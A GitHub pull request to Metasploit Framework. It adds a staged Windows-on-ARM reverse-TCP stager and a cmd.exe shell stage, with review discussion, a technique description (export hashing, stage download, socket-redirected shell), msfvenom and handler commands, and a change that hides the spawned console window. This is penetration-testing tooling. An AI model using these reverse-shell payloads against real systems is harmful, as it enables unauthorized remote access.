Add windows/aarch64/shell/reverse_tcp staged payload - #21744
Add windows/aarch64/shell/reverse_tcp staged payload#21744vinicius-batistella wants to merge 3 commits into
windows/aarch64/shell/reverse_tcp staged payload#21744Conversation
Introduce an AArch64 Windows reverse-TCP stager/stage pair so WoA targets can use multi/handler with a 716-byte stager and 420-byte cmd.exe stage (sockx0), following the same Pattern B assembly style as the merged stageless payload. Co-authored-by: Cursor <cursoragent@cursor.com>
There was a problem hiding this comment.
Pull request overview
Adds the first staged Windows-on-ARM (AArch64) reverse TCP command-shell payload pair to Metasploit Framework, enabling windows/aarch64/shell/reverse_tcp to deliver a small stager that downloads and executes a cmd.exe stage over the same socket.
Changes:
- Added a new AArch64 Windows reverse TCP stager implementation (
Msf::Payload::Windows::ReverseTcp_Aarch64) and its stager module. - Added a new AArch64 Windows command-shell stage module that expects the socket handle in
x0(sockx0) and spawnscmd.exe. - Added documentation and RSpec coverage for the new staged payload (including cached-size consistency registration).
Impact Analysis: isolated change; no meaningful downstream impact identified from diff. (type "custom")
Reviewed changes
Copilot reviewed 7 out of 7 changed files in this pull request and generated no comments.
Show a summary per file
| File | Description |
|---|---|
| spec/modules/payloads/stages/windows/aarch64/shell_spec.rb | Adds stage-focused RSpecs (size, prologue instruction, EXITFUNC variability). |
| spec/modules/payloads/stagers/windows/aarch64/reverse_tcp_spec.rb | Adds stager-focused RSpecs (size, LHOST/LPORT variability, IPv4 validation). |
| spec/modules/payloads_spec.rb | Registers the new staged payload in the cached-size consistency suite. |
| modules/payloads/stages/windows/aarch64/shell.rb | New staged AArch64 Windows shell stage (CreateProcessA-based cmd.exe spawn, sockx0). |
| modules/payloads/stagers/windows/aarch64/reverse_tcp.rb | New staged AArch64 Windows reverse_tcp stager module wiring (CachedSize/handler/convention). |
| lib/msf/core/payload/windows/reverse_tcp_aarch64.rb | New AArch64 reverse_tcp stager generator (PEB/EAT hashing, recv-length, VirtualAlloc, FlushInstructionCache). |
| documentation/modules/payload/windows/aarch64/shell/reverse_tcp.md | New user documentation for windows/aarch64/shell/reverse_tcp including scenario. |
| end | ||
|
|
||
| def compile_aarch64(asm_string) | ||
| require 'aarch64/parser' |
There was a problem hiding this comment.
Question to the group: Should we be tracking this in the Gemfiles?
It is used in both the osx and windows aarch64 payloads.
There was a problem hiding this comment.
Oooops; it already is.....
| # 0x18 LoadLibraryA 0x20 recv 0x28 WSAStartup | ||
| # 0x30 WSASocketA 0x38 WSAConnect 0x48 FlushInstructionCache | ||
| # 0x50 sockaddr_in 0x70 WSADATA | ||
| <<~ASM |
There was a problem hiding this comment.
Now that we have this same code in a few locations I think it makes sense to offload it to a mixin/library?
Specifically, I'm thinking at least the ror13, exitfunk, and block API stuff?
There was a problem hiding this comment.
Hey, @bwatters-r7.
Sorry for the delay; I was not sure if the questions were for me.
Anyways, pulled the shared helpers into Msf::Payload::Windows::Aarch64 / Exitfunk_Aarch64 (ror13, compile glue, exitfunk). Wired into the stager, stage, and the stageless shell_reverse_tcp in d691c54.
Additionally, CI on d691c54 is green across all 51 relevant checks. The only red is Meterpreter Acceptance/build / java 8 macos-15-intel; the job failed on a GitHub Actions CreateArtifact upload timeout afterward. Unrelated to these payload changes. Could you kindly re-run just that job?
| case value.to_s.downcase | ||
| when 'thread' | ||
| ror13_hash('ExitThread') | ||
| when 'process', '', 'seh' |
There was a problem hiding this comment.
Now that I'm looking at it again, why do we not do the same seh tactic here as in x86 and x64? Originally I'd I thought there was an architectural reason, but on another reading, I'm not sure that's the case?
Use SetUnhandledExceptionFilter to disable the handlers, then jump to null for a predictable crash? All that should be do-able in aarch64, I think?
There was a problem hiding this comment.
Added in d691c54. EXITFUNC=seh now follows the x64 tactic: SetUnhandledExceptionFilter(NULL) then br xzr. Validated on Win11 ARM64 — staged sends 416-byte stage with seh (420 with process), inline is 660 bytes, shell works and session closes cleanly on exit.
Share ror13/compile/exitfunk helpers across the Windows AArch64 payloads, and make EXITFUNC=seh match x64 by clearing the unhandled exception filter then branching to NULL. Co-authored-by: Cursor <cursoragent@cursor.com>
|
@vinicius-batistella everything passing, now, but I probably will not get to this until tomorrow. Thanks so much for the changes; I am thrilled we're slowly adding AARCH64 Windows support! |
|
Hey, @bwatters-r7. |
| str xzr, [x11, #0x60] | ||
| mov w0, #0x68 | ||
| str w0, [x11, #0x00] | ||
| mov w0, #0x100 |
There was a problem hiding this comment.
I noticed that this pops open the cmd window on the remote host. I swapped 0x101 here to try and get the STARTUPINFO struct to tell it to hide, but it still opened for me after this change. I want to see if there's something else we're doing, but I ran out of time today. If you don't get a chance before, I should be able to swing back next week.
There was a problem hiding this comment.
Done in 3b45d47. You also need to set CREATE_NO_WINDOW (0x08000000) on CreateProcessA in order to pop a cmd in hidden mode.
PS: my CI is all broken again.
STARTF_USESHOWWINDOW alone still left a visible cmd/conhost on WoA; set dwFlags to 0x101 and pass CREATE_NO_WINDOW to CreateProcessA. Co-authored-by: Cursor <cursoragent@cursor.com>
Closes (or partially addresses) #20385.
Builds on the merged Windows AArch64 work in #21588 (
exe/exe-onlydispatch) and #21589 (stageless
windows/aarch64/shell_reverse_tcp).Summary
Adds the first staged Windows on ARM (AArch64) reverse-TCP command-shell
payload pair:
windows/aarch64/reverse_tcp— connects back toLHOST:LPORT, reads a 4-byte little-endian length,VirtualAllocs RWX,recvs the stage, flushes the instruction cache, and jumps to it withthe socket handle in
x0.windows/aarch64/shell— expects that socket inx0(convention
sockx0), resolvesCreateProcessA, and spawnscmd.exewith stdin/stdout/stderr redirected via
STARTF_USESTDHANDLES.Same Pattern B assembly style as the merged stageless payload and
osx/aarch64/shell_reverse_tcp: runtimecompile_aarch64withMOVZ/MOVKimmediates interpolated from the datastore (Offsets cannotpatch AArch64 imm bitfields).
Technique
Stager
InInitializationOrderModuleList→match
kernel32.dllby name length, then Stephen Fewer's classicROR-13 hash lookup against the Export Address Table.
LoadLibraryA("Ws2_32.dll")→WSAStartup(MAKEWORD(2,2))→WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)→WSAConnect(s, &sockaddr_in, ...).recv4-byte LE size →VirtualAlloc(RWX)→loop
recvuntil full → branch to stage entry with socket inx0.kernel32!FlushInstructionCache(ROR-13
0x53120980) before the jump. User-spacedc cvau/ic ivautrap as
STATUS_ILLEGAL_INSTRUCTION(0xC000001D) on WoA whenSCTLR_EL1.UCIis clear; the Win32 API is the portable fix.patched via
MOVZ/MOVKthe same way as the stageless payload.EXITFUNC=nonemaps toExitProcess(same rationale as Add windows/aarch64/shell_reverse_tcp payload #21589).Stage
mov x22, x0), re-resolveskernel32/CreateProcessA, builds aSTARTUPINFOAwithhStdInput/hStdOutput/hStdErrorset to the socket, andlaunches
"cmd.exe".process/thread/none/seh), same hash table as the stager.Length prefix
Stager => { 'RequiresMidstager' => false }soMsf::Payload::Windows#handle_intermediate_stagesends the standard4-byte little-endian length before the stage bytes. No custom midstager.
Module options
LHOSTMsf::Handler::ReverseTcp)LPORT4444EXITFUNCprocessprocess/thread/none/seh(last is treated asprocess)LHOST is validated with
Rex::Socket.is_ipv4?before encoding into theAF_INET sockaddr (IPv6 / hostnames raise
ArgumentError). LHOST/LPORTare encoded into three
MOVZ/MOVKimmediates inside the stager'sfill_sockaddrpath — no offset-based byte patching.Output size
CachedSize/ measuredmsfvenom -f rawemitsmulti/handlerafter the lengthtemplate_aarch64_windows.exe(#21588)Usage
$ ./msfvenom -p windows/aarch64/shell/reverse_tcp \ LHOST=192.168.0.164 LPORT=6666 \ -f exe -o staged.exe [*] Payload size: 716 bytes [*] Final size of exe file: 6656 bytes [*] Saved as: staged.exe $ ./msfconsole -q -x "use exploit/multi/handler; \ set PAYLOAD windows/aarch64/shell/reverse_tcp; \ set LHOST 192.168.0.164; set LPORT 6666; run" [*] Started reverse TCP handler on 192.168.0.164:6666 [*] Sending stage (420 bytes) to 192.168.0.164 [*] Command shell session 1 opened (192.168.0.164:6666 -> 192.168.0.164:xxxxx) Shell Banner: Microsoft Windows [Version 10.0.26200.8875] ----- C:\Users\...\Downloads>Verification
Tested end-to-end on Windows 11 ARM64 (build 10.0.26200.8875) in a UTM
VM. Staged handler delivered the 420-byte stage and produced an
interactive
cmd.exesession (whoami/hostname/ipconfig).Stageless
windows/aarch64/shell_reverse_tcpwas re-checked on the samehost as a regression.
msfvenom -f rawproduces a 716-byte stagermsfvenom -f exeproduces a runnable PE on Win11 ARM64multi/handlerprintsSending stage (420 bytes)and opens ashell aarch64/windowssessionmov x22, x0/f6 03 00 aa)EXITFUNC=process/thread/noneall compile (stager + stage)LHOSTrejected with/LHOST must be in IPv4 format/spec/modules/payloads_spec.rbtools/dev/msftidy.rbpassesrubocoppasses on new/changed Ruby filesuse payload/windows/aarch64/shell/reverse_tcpNotes
-f execannot wrap AArch64 shellcode; without the stageless work this reuses
the same PEB/hash/
compile_aarch64conventions.sockx0(socket inx0), notsockedi/sockrdi.windows/aarch64/shell_bind_tcp, and Meterpreter oncemetasploit-payloads ARM64 metsrv (Add ARM64 cross-compilation support for Windows Meterpreter metasploit-payloads#794) lands.
aligned with the standalone prototype for byte-comparable audits).
no LHOST/LPORT fallbacks, IPv4 validation + specs, Pattern B (not
Offsets),
EXITFUNC=none→ExitProcess,# frozen_string_literal: trueon new modules/specs, no trailing commas in metadata hashes.
Author / License
Vinicius BatistellaMade with Cursor